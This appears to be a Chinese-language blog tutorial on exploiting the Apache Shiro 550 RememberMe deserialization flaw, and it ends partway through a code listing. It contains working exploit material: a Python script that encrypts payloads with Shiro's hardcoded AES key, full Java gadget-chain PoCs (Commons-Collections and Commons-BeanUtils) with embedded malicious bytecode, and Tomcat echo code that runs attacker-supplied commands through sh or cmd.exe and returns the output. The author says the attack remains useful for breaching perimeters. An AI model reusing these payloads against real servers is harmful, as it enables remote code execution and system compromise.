shiro反序列化总结

shiro 550

shiro 550是对cookie中的RememberMe反序列化导致的漏洞,虽然16年就爆出了,但是现在在突破边界还是很好用

环境搭建

编辑器:IDEA 2020

java版本:jdk1.8.0_65

tomcat版本 : Tomcat 8.5.

shiro版本:shiro-root-1.2.4

组件:commons-collections4

下载shiro-root-1.2.4 https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4

下载完成后进入samples/web目录,直接修改pom文件添加依赖

<dependencies>
    <dependency>
        <groupId>javax.servlet</groupId>
        <artifactId>jstl</artifactId>
        <!--  这里需要将jstl设置为1.2 -->
        <version>1.2</version>
        <scope>runtime</scope>
    </dependency>
    <dependency>
        <groupId>org.apache.commons</groupId>
        <artifactId>commons-collections4</artifactId>
        <version>4.0</version>
    </dependency>
<dependencies>

如果用maven打包时遇到如下错误,则就改maven下的配置文件maven/conf/toolchains.xml

Failed to execute goal org.apache.maven.plugins:maven-toolchains-plugin:1.1:toolchain (default) on project samples-web: Misconfigured toolchains.
<toolchain>
    <type>jdk</type>
    <provides>
      <version>1.6</version>
      <vendor>sun</vendor>
    </provides>
    <configuration>
      <jdkHome>/Library/Java/JavaVirtualMachines/1.6.0.jdk</jdkHome>
    </configuration>
</toolchain>

直接用idea打开samples/web目录,配置tomcat运行即可

加密过程分析

漏洞的解密过程大概是这样

因为使用AES加密需要一个key,而这个key存储在/shiro-core-1.2.4.jar!/org/apache/shiro/mgt/AbstractRememberMeManager.class中,这个DEFAULT_CIPHER_KEY_BYTES就是加密时用的key,正是因为key是固定的,导致我们可以自定义AES加密

在这个类下有一个onSuccessfulLogin方法是对登录成功的,我们下个断点跟一下

登录时记住要勾选Remember Me

收到数据了我们跟入this.forgetIdentity方法,这个方法处理了request和response请求,我们跟入this.forgetIdentity(request, response)方法

继续跟入removeFrom方法

这个方法做的是获取一些配置信息,并把这些信息通过addCookieHeader方法放到response包中

我们一直往下跟,回到了最开始的onSuccessfulLogin中,这个if判断是判断rememberme按钮是否被选中,跟入rememberIdentity方法

可以看到传入的authcInfo存储着账号和密码,我们跟入rememberIdentity方法

进入之后发现convertPrincipalsToBytes转化为bytes,我们跟入

跟入之后发现会将传入的参数序列化,随后使用encrypt方法进行加密,我们跟入encrypt

this.getCipherService()字面意思是获取密码服务,赋值给cipherService,我们可以看一下cipherService里的内容,采用了AES/CBC/PKCS5Padding 128位加密,随后调用getEncryptionCipherKey()获取key进行加密,其中这个key就是我们一开始说的那个key

解密过程分析

抓取登录的返回包会发现给浏览器set-cookie了一个rememberMe

刷新网页的时候就会带rememberMe,这是判断shiro框架的一个重要标志

获取客户端数据是从getRememberedPrincipals开始的,我们对这个方法下一个断点,直接进入getRememberedSerializedIdentity

this.getCookie().readValue方法要从cookie中读数据了,这个必须跟入

this.getName()获取了名字为rememberMe,随后根据名字从request获取名字对应的内容随后赋值给value返回

之后将获取的valuebase64解码返回上层

返回getRememberedPrincipals方法,其中convertBytesToPrincipals对刚刚返回的bytes进行了处理,我们跟入

发现this.decrypt(bytes)方法,我们跟入

跟入之后发现跟加密的方法有异曲同工之妙

解密之后将解密是数据进行反序列化,至此解密过程分析完毕

漏洞利用

我们之前由于加过CommonCollections4的依赖,我们可以用cc2进行打

使用以下脚本将生成的cc2文件进行AES加密并进行base64编码

import sys
import base64
import uuid

from Cryptodome.Cipher import AES

def get_file_data(filename):
    with open(filename,"rb") as f:
        data = f.read()
    return data

def aes_enc(data):
    BS = AES.block_size
    pad = lambda  s:s +((BS - len(s)% BS) * chr(BS-len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key),mode,iv)
    ciphertext = base64.b64encode(iv+encryptor.encrypt(pad(data)))
    return ciphertext

def aes_dec(enc_data):
    enc_data = base64.b64decode(enc_data)
    unpad = lambda s : s[:-s[-1]]
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = enc_data[:16]
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    plaintext = encryptor.decrypt(enc_data[16:])
    plaintext = unpad(plaintext)
    return plaintext

if __name__ == '__main__':
    data = get_file_data("ser.bin")
    print(aes_enc(data))

抓包里面有两个认证身份的参数,两个参数都存在的话默认是使用JSESSIONID,因此要把JSESSIONID删除再替换rememberMe才能生效

shiro下cc链的利用

由于cc6没有Java版本限制,并且3.2.1版本的cc用的更广,我们添加一个cc6的依赖,但使用cc6攻击shiro却发现没有成功

查看报错信息,说不能加载到Transformer

我们来到第一个报错的地方看一下

跟进deserialize方法,发现ois不是原生的readObject而是shiro自实现的方法

我们跟进ClassResolvingObjectInputStream类,发现重写了resolveClass方法,因此调用的是自己写的一个工具类ClassUtils中的forName方法,所以不能加载数组类

所以真正的原因就是shiro自带的这个方法不能加载数组类,因此我们要修改利用链去掉数组类

构造合适的利用链

cc链的命令执行方式主要由两种,一种是直接执行Runtime,另一种则是利用类加载器加载类

因为Runtime的方法需要数组类型,因此我们采用另一种方法,也就是cc3,从他的利用链可以看出他的核心是调用TemplatesImpl.newTransformer()从而触发类加载器加载

我们将他前半部分拿出来,想办法执行newTransformer()

Templates templates = new TemplatesImpl();
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");
setFieldValue(templates,"_name","test");
setFieldValue(templates,"_bytecodes",new byte[][]{bytes});

接下来我们看看cc6的利用链,他的下半部分可以调用transform方法

 Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,templates);
        Map hashMap = new HashMap();
        hashMap.put(tiedMapEntry,"test");

        outerMap.remove(templates);

        Class lazyMapClass = Class.forName("org.apache.commons.collections.map.LazyMap");
        Field factoryField = lazyMapClass.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(outerMap,invokerTransformer);

而构造一个InvokerTransformer通过调用newTransformer即可

InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",null,null);

完整Poc

package org.apache.shiro.test;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class shiroCC {
    public static void main(String[] args) throws Exception {
        //CC3
        Templates templates = new TemplatesImpl();
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");
        setFieldValue(templates,"_name","test");
        setFieldValue(templates,"_bytecodes",new byte[][]{bytes});

        //CC2
        InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",null,null);

        //CC6
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,templates);
        Map hashMap = new HashMap();
        hashMap.put(tiedMapEntry,"test");

        outerMap.remove(templates);

        Class lazyMapClass = Class.forName("org.apache.commons.collections.map.LazyMap");
        Field factoryField = lazyMapClass.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(outerMap,invokerTransformer);


        serialize(hashMap);
        unserialize("ser");

    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser"));
        out.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
        Object o = In.readObject();
        return o;
    }
}

最后也是成功弹出了计算器

无cc依赖下的利用

由于shiro本身带了一个依赖,我们要打只能打commons-beanutils

我们先来了解CB攻击,首先CB是为了更好地利用JavaBean研发的,我们来简单了解一下JaveBean

Person类

package org.apache.shiro.CB;

public class Person {
    public String name;
    public int age;

    public Person() {
    }
    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }

    public String getName() {
        return name;
    }

    public int getAge() {
        return age;
    }

    public void setName(String name) {
        this.name = name;
    }

    public void setAge(int age) {
        this.age = age;
    }
}

测试类

public class test {
    public static void main(String[] args) throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
        Person person1 = new Person("kaeiy",18);
        System.out.println(person1.getName());

        Person person2 = new Person("k0e1y",18);
        System.out.println(PropertyUtils.getProperty(person2,"name"));
    }
}

PropertyUtils.getPropertyperson1.getName()其实是一样的,大家对比一下就知道是干啥的了,他会调用getname方法

这里的流程其实是传入的是name随后会把首字母大写Name随后加上get就变成了getName

结合之前cc3的链发现getOutputProperties很符合上面的形式

TemplatesImpl.getOutputProperties() ->
TemplatesImpl.newTransformer() ->
TemplatesImpl.getTransletInstance() ->
TemplatesImpl.defineTransletClasses() ->
TransletClassLoader.defineClass

可以用cc3试一下

public class cc3bean {
    public static void main(String[] args) throws Exception {
        Templates templates = new TemplatesImpl();
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");
        setFieldValue(templates,"_name","test");
        setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        System.out.println(PropertyUtils.getProperty(templates,"outputProperties"));

    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

成功执行

随后我们就要找一下谁调用了getProperty方法,最终在BeanComparator找到了compare方法,并且两个参数都可控

经过寻找compare方法在PriorityQueue类的siftDownUsingComparator方法有调用,而siftDownUsingComparator经过readObject()可以调用到,这也就是cc2链

所以利用链已经出来了

PriorityQueue.readObject() ->
PriorityQueue.siftDownUsingComparator() ->
BeanComparator.compare() ->
PropertyUtils.getProperty() ->
TemplatesImpl.getOutputProperties() ->
TemplatesImpl.newTransformer()

所以poc已经出来了

package org.apache.shiro.CB;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

public class shiroCB {
    public static void main(String[] args) throws Exception {
        //CC3
        Templates templates = new TemplatesImpl();
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");
        setFieldValue(templates,"_name","test");
        setFieldValue(templates,"_bytecodes",new byte[][]{bytes});

        //Commons-Beanutils
        BeanComparator beanComparator = new BeanComparator("outputProperties");

        //CC2
        TransformingComparator transformingComparator=new TransformingComparator(new ConstantTransformer(1));

        PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
        priorityQueue.add(templates);
        priorityQueue.add(2);

        setFieldValue(priorityQueue,"comparator",beanComparator);

        serialize(priorityQueue);
        unserialize("ser");
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser"));
        out.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
        Object o = In.readObject();
        return o;
    }
}

成功执行

shiro回显问题

shiro反序列化虽然可以执行命令,但是如果执行ipconfig这种有回显的命令,我们根本是看不到的,于是我们要想办法让我们执行的命令回显

kingkk师傅的Tomcat中一种半通用回显方法

因为虽然没有显示回显,但是执行的结果肯定存储在tomcat中,我们只需要找到一个可以利用的位置,利用反射把内容读取出来即可

首先搭建一个servlet的环境,搭建过程自行百度

这里有一个注意的点,需要导入tomcat的jar包,否则查找堆栈时无法查看源码,导入后右键lib文件夹Add as Library即可,之后的只要关于tomcat源码的调试都需要添加这些包

创建如下代码并打上断点

访问网站之后,发现在doGet之前,堆栈中已经有好多内容了,这些都是tomcat处理request和response请求的流程,接下来我们就要在这些类中找到一个能被我们获取的response

经过寻找在org.apache.catalina.core.ApplicationFilterChain找到符合我们要求的类,在他静态代码块将lastServicedResponse初始化

并且在106行将他赋值

虽然if判断为false,但我们用反射改为true即可

所以我们的流程是

反射修改ApplicationDispatcher.WRAP_SAME_OBJECT使他为真
初始化lastServicedRequest和lastServicedResponse两个变量
从lastServicedResponse获取内容并回显

附上代码

Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);

ThreadLocal<ServletResponse> lastServicedResponse =
    (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);
String cmd = lastServicedRequest != null
    ? lastServicedRequest.get().getParameter("cmd")
    : null;
if (!WRAP_SAME_OBJECT || lastServicedResponse == null || lastServicedRequest == null) {
    lastServicedRequestField.set(null, new ThreadLocal<>());
    lastServicedResponseField.set(null, new ThreadLocal<>());
    WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
} else if (cmd != null) {
    ServletResponse responseFacade = lastServicedResponse.get();
    responseFacade.getWriter();
    java.io.Writer w = responseFacade.getWriter();
    Field responseField = ResponseFacade.class.getDeclaredField("response");
    responseField.setAccessible(true);
    Response response = (Response) responseField.get(responseFacade);
    Field usingWriter = Response.class.getDeclaredField("usingWriter");
    usingWriter.setAccessible(true);
    usingWriter.set((Object) response, Boolean.FALSE);

    boolean isLinux = true;
    String osTyp = System.getProperty("os.name");
    if (osTyp != null && osTyp.toLowerCase().contains("win")) {
        isLinux = false;
    }
    String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
    InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
    Scanner s = new Scanner(in).useDelimiter("\\a");
    String output = s.hasNext() ? s.next() : "";
    w.write(output);
    w.flush();
}

访问网页时要访问两次,第一次要通过反射来初始化

那我们可以回显了,该怎么和反序列化配合用呢?我们可以把这个类进行类加载,因此cc2,cc3,cc4都是可以用这个类,因为他们是调用了templatesimpl.newtransform方法来进行的类加载

把提供的回显代码进行class的base64编码放到cc4中,再把cc4的序列化文件进行base64编码传参反序列化

使用如下代码进行接收参数反序列化,注意这里用Servlet环境会有问题(踩七八小时的坑)建议用springmvc或者springboot

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    try {
        String input = request.getParameter("input");
        System.out.println(input);
        byte[] b = new sun.misc.BASE64Decoder().decodeBuffer(input);
        java.io.ObjectInputStream ois = new java.io.ObjectInputStream(new java.io.ByteArrayInputStream(b));
        ois.readObject();
    } catch (Exception e) {
        e.printStackTrace();
    }
%>

如果不想搭建环境可以使用我搭建好的,配置好tomcat直接访问index.jsp即可

链接:https://pan.baidu.com/s/1WzOYwRqrDZs7CIdgIbMuxA?pwd=6666 
提取码:6666 

访问要访问两遍,因为第一次反射修改tomcat底层变量,第二次才能获取到

但是这种方法不能用于shiro,shiro的rememberMe功能,其实是shiro自己实现的一个filter。作为不出网情况下的命令执行还是蛮好用的

Litch1师傅的通用回显方法(不支持Tomcat7)以及Header长度限制绕过

Litch师傅是在 Tomcat 中全局存储 request 和 response 的变量,主要目标是寻找 tomcat 中哪个类会存储 Request 和 Response

随便打一个断点查找tomcat的堆栈

根据师傅的文章Http11Processor的父类AbstractProcessor存储了Request和Response,找到Http11Processor的堆栈,发现已经给Request进行了赋值

我们进入AbstractProcessor可以看到是protected final类型,说明只允许子类或者父类调用且赋值之后,对于对象的引用是不会改变的,那他是什么时候赋值的呢

我们看一下他的构造函数,发现是public类型的构造函数调用了protected类型的构造函数,将request和response进行了赋值

而resp如何获取呢,在resquest类中有函数可以获取

因此获取了Http11Processor之后我们就可以获得req和resp,那我们如何获取Http11Processor实例或者request、response变量呢

org.apache.coyote.AbstractProtocol.ConnectionHandler#process函数的processor对象中发现有request、response

在process方法中通过this.getProtocol().createProcessor()创建processor对象,然后通过register方法进行了注册

打个断点进入register方法,发现可以获取response

global其实就是RequestGroupInfo

我们跟入setGlobalProcessor

继续跟入global.addRequestProcessor,可以看到把RequestInfo添加到processors中

processors是ArrayList类型

因此当前的利用链为

AbstractProtocol$ConnectoinHandler->global->processors->RequestInfo->req->response

我们现在就要寻找存储着AbstractProtocol类的类或者AbstractProtocol类的子类,发现在Connector中有ProtocolHandler接口,而AbstractProtocol是他的实现类

所以现在调用链变成了这样

Connector----->AbstractProtocol$ConnectoinHandler------->global-------->RequestInfo------->Request-------->Respons

那么我们的 Connector 从哪里获取呢?在 Tomcat 启动的过程中,org.apache.catalina.startup.Tomcat#setConnector 会将 Connector 存储到 StandardService中,所以我们就可以从 StandardService 中获取到我们的 Connector

因此调用链变成了

StandardService--->Connector--->AbstractProtocol$ConnectoinHandler--->RequestGroupInfo(global)--->RequestInfo------->Request-------->Response

那如何获取StandardService呢?这里先给出网上找的师傅的解释

双亲委派机制的缺点:
当加载同个jar包不同版本库的时候,该机制无法自动选择需要版本库的jar包。特别是当Tomcat等web容器承载了多个业务之后,不能有效的加载不同版本库。为了解决这个问题,Tomcat放弃了双亲委派模型。
例如:
假设WebApp A依赖了common-collection 3.1,而WebApp B依赖了common-collection 3.2 这样在加载的时候由于全限定名相同,不能同时加载,所以必须对各个webapp进行隔离,如果使用双亲委派机制,那么在加载一个类的时候会先去他的父加载器加载,这样就无法实现隔离,tomcat隔离的实现方式是每个WebApp用一个独有的ClassLoader实例来优先处理加载,并不会传递给父加载器。这个ClassLoader在Tomcat就是WebAppClassLoader,通过Thread类中的getContextClassLoader()获取,当然也可以设置为指定的加载器,通过Thread类中setContextClassLoader(ClassLoader cl)方法通过设置类加载器。
Tomcat加载机制简单讲,WebAppClassLoader负责加载本身的目录下的class文件,加载不到时再交给CommonClassLoader加载,这和双亲委派刚好相反。

因此可以通过Thread.currentThread().getContextClassLoader()来获取当前线程的ClassLoader,然后获取StandardService

Thread.currentThread().getContextClassLoader()-->StandardService->connectors->connector->protocolHandler->handler->AbstractProtocol$ConnectoinHandler->global->processors->RequestInfo->req->response
shiro攻击测试

这里附上poc,使用方法和上面相同,还是对class进行base64编码,放到cc2中生成序列化文件,如果有用过天下大木头师傅的文件的,这个文件和他有点小区别,解决了命令执行时带空格参数执行不了的问题

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.connector.Response;
import org.apache.coyote.Request;
import org.apache.coyote.RequestInfo;

import java.io.InputStream;
import java.io.Writer;
import java.lang.reflect.Field;
import java.util.List;

public class TomcatEcho extends AbstractTranslet {

    static {
        try {
            boolean flag = false;
            Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(),"threads");
            for (int i=0;i<threads.length;i++){
                Thread thread = threads[i];
                if (thread != null){
                    String threadName = thread.getName();
                    if (!threadName.contains("exec") && threadName.contains("http")){
                        Object target = getField(thread,"target");
                        Object global = null;
                        if (target instanceof Runnable){
                            // 需要遍历其中的 this$0/handler/global
                            // 需要进行异常捕获,因为存在找不到的情况
                            try {
                                global = getField(getField(getField(target,"this$0"),"handler"),"global");
                            } catch (NoSuchFieldException fieldException){
                                fieldException.printStackTrace();
                            }
                        }
                        // 如果成功找到了 我们的 global ,我们就从里面获取我们的 processors
                        if (global != null){
                            List processors = (List) getField(global,"processors");
